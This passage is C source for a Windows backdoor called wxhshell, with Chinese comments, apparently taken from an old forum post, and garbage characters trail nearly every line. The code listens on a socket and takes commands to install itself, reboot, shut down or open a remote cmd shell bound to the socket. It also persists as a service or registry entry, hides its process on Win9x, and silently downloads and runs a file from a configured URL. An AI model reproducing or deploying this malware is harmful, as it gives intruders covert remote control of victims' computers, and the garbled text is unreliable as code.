  else & zDuh[j}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VF?H0}YSHb  
  } m+c-"arIpA  
  else { sfXFh  
h P6f   
    switch(cmd[0]) { \YvG+7a  
  F[ E'R.:  
  // 帮助 {)" 3  
  case '?': { MPB[~#:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0Ui.nz j  
    break; C$w%! jE  
  } 5 ^{~xOM5  
  // 安装 Y% iqSY  
  case 'i': { `O\>vn  
    if(Install()) VX)8 pV$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {5 dVK  
    else D \ rns+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~5HkDtI)  
    break; ZLQmEF[>  
    } @\by`3*Q  
  // 卸载 u({^8: AYu  
  case 'r': { tJ(xeb  
    if(Uninstall()) ^6W}ZLp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @ m`C%7<  
    else %vmd2}dA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iYXD }l;r  
    break; p $Tk;;wm  
    } "c%wq 0  
  // 显示 wxhshell 所在路径 ?mH=3 :~  
  case 'p': { E1QJ^]MG.  
    char svExeFile[MAX_PATH]; PD&e6;rj;  
    strcpy(svExeFile,"\n\r"); =4_}.  
      strcat(svExeFile,ExeFile); ZF7@b/-me  
        send(wsh,svExeFile,strlen(svExeFile),0); S`-I-VS=L  
    break; ?m)<kY  
    } kQ+y9@=/g  
  // 重启 h"[B zX  
  case 'b': { 971=OEyq*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _T)y5/[  
    if(Boot(REBOOT)) V!:!c]8F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /d&m#%9Up]  
    else { 3Zp<#  
    closesocket(wsh); I9kz)Q o  
    ExitThread(0); J&6p/'UPZ  
    } I_1?J* b4k  
    break; w:zo \  
    } \Z5Wp5az},  
  // 关机 S}C[  
  case 'd': { S?v/diK ]J  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); b!H1 |7>  
    if(Boot(SHUTDOWN)) "~Fg-{jM%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gamn,c9  
    else { S. MRL,  
    closesocket(wsh); )"TVR{I%B  
    ExitThread(0); k8 #8)d  
    } Jt$YSp=!!  
    break; bidFBldKl  
    } QFnuu-82"  
  // 获取shell i[z 2'tx4  
  case 's': { !Yc:yF  
    CmdShell(wsh); (aYu[ML  
    closesocket(wsh); M7BpOmK'  
    ExitThread(0); Y1cL dQn  
    break; CVO_F=;  
  } |5flvkid  
  // 退出 4Uny.C]  
  case 'x': { 56C8)?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;"D}"nL  
    CloseIt(wsh); Mnranhe>G  
    break; 45biy(qa  
    } V_3oAu54s{  
  // 离开 {/noYB<;  
  case 'q': { Hec8pL  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); hT^&*}G  
    closesocket(wsh); AYf}=t|  
    WSACleanup(); q%,86A>  
    exit(1); |0Z J[[2  
    break; 10Eun }  
        } @. sn  
  } L\mF[Kd#+T  
  } p7\LLJ y  
<HnJD/g  
  // 提示信息 Nd(3q]{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RrxbsG1HP  
} K2*rqg  
  } M XW1 :  
]D nAW'm  
  return; 9o,Eq x4J  
} o;c"-^>  
+1#oVl!  
// shell模块句柄 8`S1E0s  
int CmdShell(SOCKET sock) 3^KR{N p  
{ pYcs4f!?p  
STARTUPINFO si; YXo?(T..  
ZeroMemory(&si,sizeof(si)); [%^0L~:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8}yrsF #  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]$#bNt/p  
PROCESS_INFORMATION ProcessInfo; >4@w|7lS  
char cmdline[]="cmd"; j f4<LmR  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hXFT(J=  
  return 0; Wpf~Ji6||  
} 9'(^ Coq  
T}J)n5U}\  
// 自身启动模式 %KF I~Qk  
int StartFromService(void) ms3"  
{ NcbW"Qv3  
typedef struct q-CgX wU  
{ ku/vV+&O  
  DWORD ExitStatus; m>Z3p7!N}  
  DWORD PebBaseAddress; sI6*.nR  
  DWORD AffinityMask; ?Xpk"N7  
  DWORD BasePriority; <c5g-*V:  
  ULONG UniqueProcessId; !]?kvf-3e  
  ULONG InheritedFromUniqueProcessId; l`#rhuy`  
}   PROCESS_BASIC_INFORMATION; CE{2\0Q  
'=G6$O2  
PROCNTQSIP NtQueryInformationProcess; k@9hth2Q  
s5v}S'uO{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .|CoueH  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; J:)ml  
,2 xD>+=  
  HANDLE             hProcess; Dy5&-yk  
  PROCESS_BASIC_INFORMATION pbi; i{9.bpp/  
IJ5'n  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \0Xq&CG=E  
  if(NULL == hInst ) return 0; Mk9J~'C_  
]w,|WZm  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !r6Yq,3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'w1ll9O  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); o+{7"Na8[  
6J- /%  
  if (!NtQueryInformationProcess) return 0; } PL{i  
7Ou]!AOhG  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); p<pGqW  
  if(!hProcess) return 0; 'Sgz\ =K  
Zcw <USF8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %jx<<hW  
T+gH38!e  
  CloseHandle(hProcess); &*8.%qe;  
)b%zYD9p  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); CX2qtI8N?  
if(hProcess==NULL) return 0; PYNY1 |3  
N/#x  
HMODULE hMod; *T}c{/  
char procName[255]; Ll%}nti  
unsigned long cbNeeded; k|RY; 8_  
E:uTjXt  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1:yil9.\*  
XR<g~&h  
  CloseHandle(hProcess); YuHXm3[  
*>:<  
if(strstr(procName,"services")) return 1; // 以服务启动 z[vu- f9  
vqVwo\oEdU  
  return 0; // 注册表启动 4M0p:Ey '  
} '"c`[L7Wn  
Z;tWV%F5  
// 主模块 "1>w\21  
int StartWxhshell(LPSTR lpCmdLine) SY:ISzB}  
{ `PeC,bp  
  SOCKET wsl; pVzr]WFx  
BOOL val=TRUE; wi%ls8F  
  int port=0; '~7zeZ'  
  struct sockaddr_in door; Wwr  
L?M x"  
  if(wscfg.ws_autoins) Install(); I(k(p\l%  
xh#pw2v7V  
port=atoi(lpCmdLine); ^xScVOdP  
oLq N  
if(port<=0) port=wscfg.ws_port; 0N]\f.=`  
{KK/mAp{  
  WSADATA data; 9; 9ge  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; RFSwX*!  
k}qCkm27  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~>_UTI  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); oxUBlye  
  door.sin_family = AF_INET; =w:)AWZ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 48 0M|^  
  door.sin_port = htons(port); O:~J_Wwl!  
WjSu4   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { P1^|r}  
closesocket(wsl); U 9Ea }aN  
return 1; $-jj%kS  
} J,=ZUh@M  
bI(8Um6m  
  if(listen(wsl,2) == INVALID_SOCKET) { Ejf5M\o  
closesocket(wsl); 4#:Eq=(W  
return 1; z;/8R7L&  
} <c<!|<x  
  Wxhshell(wsl); ox\D04:M  
  WSACleanup(); .A_R6~::  
y!rJ}e  
return 0; &m\Uc  
, )TnIByM  
} 4pelIoj  
q\gbjci  
// 以NT服务方式启动 C(8!("tU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?<\2}1  
{ kkMChe};5  
DWORD   status = 0; to1r 88X  
  DWORD   specificError = 0xfffffff; 3` D['  
lOe|]pQ.,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; E`C !q X>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Y" rODk1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; knpdECq&k  
  serviceStatus.dwWin32ExitCode     = 0; tGbx/$Y   
  serviceStatus.dwServiceSpecificExitCode = 0; s5Wb iOF  
  serviceStatus.dwCheckPoint       = 0; <$a-.C5  
  serviceStatus.dwWaitHint       = 0; rce._w }  
%q9"2] cR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .!i`YT*jF  
  if (hServiceStatusHandle==0) return; G+k wG)K  
m~P30)  
status = GetLastError(); ;+#Nb/M  
  if (status!=NO_ERROR) O?"uM>r  
{ %3"U|Za+   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; + 660/ e8N  
    serviceStatus.dwCheckPoint       = 0; Of$R+n.  
    serviceStatus.dwWaitHint       = 0; ab.B?bx  
    serviceStatus.dwWin32ExitCode     = status; ukc 7Z OQ  
    serviceStatus.dwServiceSpecificExitCode = specificError; :qj;f];|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); T (]*jaB  
    return; 8|L@-F  
  } 4sBvW  
DO+~    
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; K)+]as  
  serviceStatus.dwCheckPoint       = 0; _IV!9 JL  
  serviceStatus.dwWaitHint       = 0; T/ eX7p1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); x(4"!#  
} P|p X F~  
X=lsuKREZ  
// 处理NT服务事件,比如:启动、停止 n\<7`,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) sX3qrRY  
{ H8HVmfM  
switch(fdwControl) h+Yd \k  
{ ' u;Zw%O(J  
case SERVICE_CONTROL_STOP: "O|.e`C%^  
  serviceStatus.dwWin32ExitCode = 0; wi+L 4v  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; kt\,$.v8  
  serviceStatus.dwCheckPoint   = 0; .}Ys+d1b9c  
  serviceStatus.dwWaitHint     = 0; g>w {{G  
  { x2r.4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u?g&(h  
  } G`Z<a  
  return; Hvy$DX|p  
case SERVICE_CONTROL_PAUSE: [u^ fy<jdp  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; v,z~#$T&  
  break; ^;9l3P{  
case SERVICE_CONTROL_CONTINUE: u2`j\ Vu  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; XzqB=iX  
  break; >H5t,FfQL  
case SERVICE_CONTROL_INTERROGATE: jt: *Y  
  break; KK4e'[Wf  
}; `-R&4%t%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .X"&k O>G  
} #h U4gX,  
J7aYi]vI  
// 标准应用程序主函数 oSf`F1;)HQ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) TX@ed  
{ -1NR]#P'  
>&R@L KP  
// 获取操作系统版本 }~ N\A  
OsIsNt=GetOsVer(); ["Tro;K#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5K682+^5  
}u$c*}  
  // 从命令行安装 *:"60fkoU  
  if(strpbrk(lpCmdLine,"iI")) Install(); n9k  
f#m@eb  
  // 下载执行文件 vWrTB   
if(wscfg.ws_downexe) { Qp)?wny4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) f8=qnY2j  
  WinExec(wscfg.ws_filenam,SW_HIDE); "UhE'\()  
} 7+@-mJMP$D  
RW1+y/#%P  
if(!OsIsNt) { N#)Klq87z  
// 如果时win9x,隐藏进程并且设置为注册表启动 9) $[W  
HideProc(); <Kr`R+Q$DN  
StartWxhshell(lpCmdLine); ;L#RFdh  
} 2@pEiq3  
else !g}@xwWax  
  if(StartFromService()) {D(l#;,iX2  
  // 以服务方式启动 tq@)J_7|  
  StartServiceCtrlDispatcher(DispatchTable); Tz.okCo]z  
else h8Oj E$ H  
  // 普通方式启动 9^N(s7s  
  StartWxhshell(lpCmdLine); =OV5DmVmQ  
bj 8pqw|;  
return 0; 7bRfkKD  
}
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只看该作者 1 发表于: 2006-10-10
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